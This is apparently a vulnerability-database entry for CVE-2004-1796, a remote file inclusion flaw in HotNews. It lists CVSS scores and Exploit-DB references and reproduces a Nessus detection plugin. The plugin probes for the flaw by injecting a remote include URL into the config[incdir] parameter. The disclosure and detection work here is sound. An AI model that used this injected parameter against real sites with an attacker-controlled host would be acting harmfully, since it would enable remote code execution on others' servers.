Vulnerabilities > CVE-2004-1796 - PHP File Include vulnerability in HotNews

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
hotnews
nessus
exploit available
NVD
Published: 2004-12-31
Updated: 2017-07-11

Summary

PHP remote file inclusion vulnerability in HotNews 0.7.2 and earlier allows remote attackers to execute arbitrary PHP code via the (1) config[header] parameter to hotnews-engine.inc.php3 or (2) config[incdir] parameter to hnmain.inc.php3.

Vulnerable Configurations

Part Description Count
Application
Hotnews
7

Exploit-Db

  • descriptionHotNews 0.x hotnews-engine.inc.php3 config[header] Parameter Remote File Inclusion. CVE-2004-1796. Webapps exploit for php platform
    idEDB-ID:23517
    last seen2016-02-02
    modified2004-01-05
    published2004-01-05
    reporterOfficerrr
    sourcehttps://www.exploit-db.com/download/23517/
    titleHotNews 0.x - hotnews-engine.inc.php3 configheader Parameter Remote File Inclusion
  • descriptionHotNews 0.x config[incdir] Parameter Remote File Inclusion. CVE-2004-1796. Webapps exploit for php platform
    idEDB-ID:23518
    last seen2016-02-02
    modified2004-01-05
    published2004-01-05
    reporterOfficerrr
    sourcehttps://www.exploit-db.com/download/23518/
    titleHotNews 0.x - configincdir Parameter Remote File Inclusion
  • descriptionHotNews 0.7.2 Remote File Inclusion. CVE-2004-1796. Webapps exploit for php platform
    idEDB-ID:12160
    last seen2016-02-01
    modified2010-04-11
    published2010-04-11
    reporterteam_elite
    sourcehttps://www.exploit-db.com/download/12160/
    titleHotNews 0.7.2 - Remote File Inclusion

Nessus

NASL familyCGI abuses
NASL idHOTNEWS_CODE_INJECTION.NASL
descriptionThe remote host is running HotNews, a set of PHP scripts designed to set up a newssystem for web pages. It is possible this suite to make the remote host include php files hosted on a third-party server. An attacker may use this flaw to inject arbitrary code in the remote host and gain a shell with the privileges of the web server.
last seen2020-06-01
modified2020-06-02
plugin id11979
published2004-01-05
reporterThis script is Copyright (C) 2004-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/11979
titleHotNews Multiple Script Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

# XXXX Untested
#
# Ref:
# From:   [email protected]
# Subject: HotNews arbitary file inclusion
# Date: January 4, 2004 3:45:59 AM CET
# To:   [email protected]


include("compat.inc");

if(description)
{
  script_id(11979);
  script_version ("1.19");
  script_cve_id("CVE-2004-1796");

  script_name(english:"HotNews Multiple Script Remote File Inclusion");
  script_summary(english:"Checks for the presence of HotNews");

  script_set_attribute(attribute:"synopsis", value:
"The remote host has a vulnerability in a PHP application that may
allow for the execution of arbitrary code." );
  script_set_attribute(attribute:"description", value:
"The remote host is running HotNews, a set of PHP scripts designed to set up
a newssystem for web pages.

It is possible this suite to make the remote host include php files hosted
on a third-party server.

An attacker may use this flaw to inject arbitrary code in the remote
host and gain a shell with the privileges of the web server." );
  script_set_attribute(attribute:"solution", value:"Upgrade to the latest version of HotNews" );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2004-1796");

  script_set_attribute(attribute:"plugin_publication_date", value: "2004/01/05");
  script_set_attribute(attribute:"vuln_publication_date", value: "2004/01/03");
  script_cvs_date("Date: 2019/05/31 10:05:08");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2004-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"CGI abuses");

  script_dependencie("find_service1.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/PHP");
  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);


foreach dir (cgi_dirs())
 {
 w = http_send_recv3(item:string(dir, "/includes/hnmain.inc.php3?config[incdir]=http://example.com/"),
 method:"GET", port:port);
 if (isnull(w)) exit(0);
 r = strcat(w[0], w[1], '\r\n', w[2]);
 if("http://example.com/func.inc.php3" >< r)
  {
 	security_hole(port);
	exit(0);
  }
}

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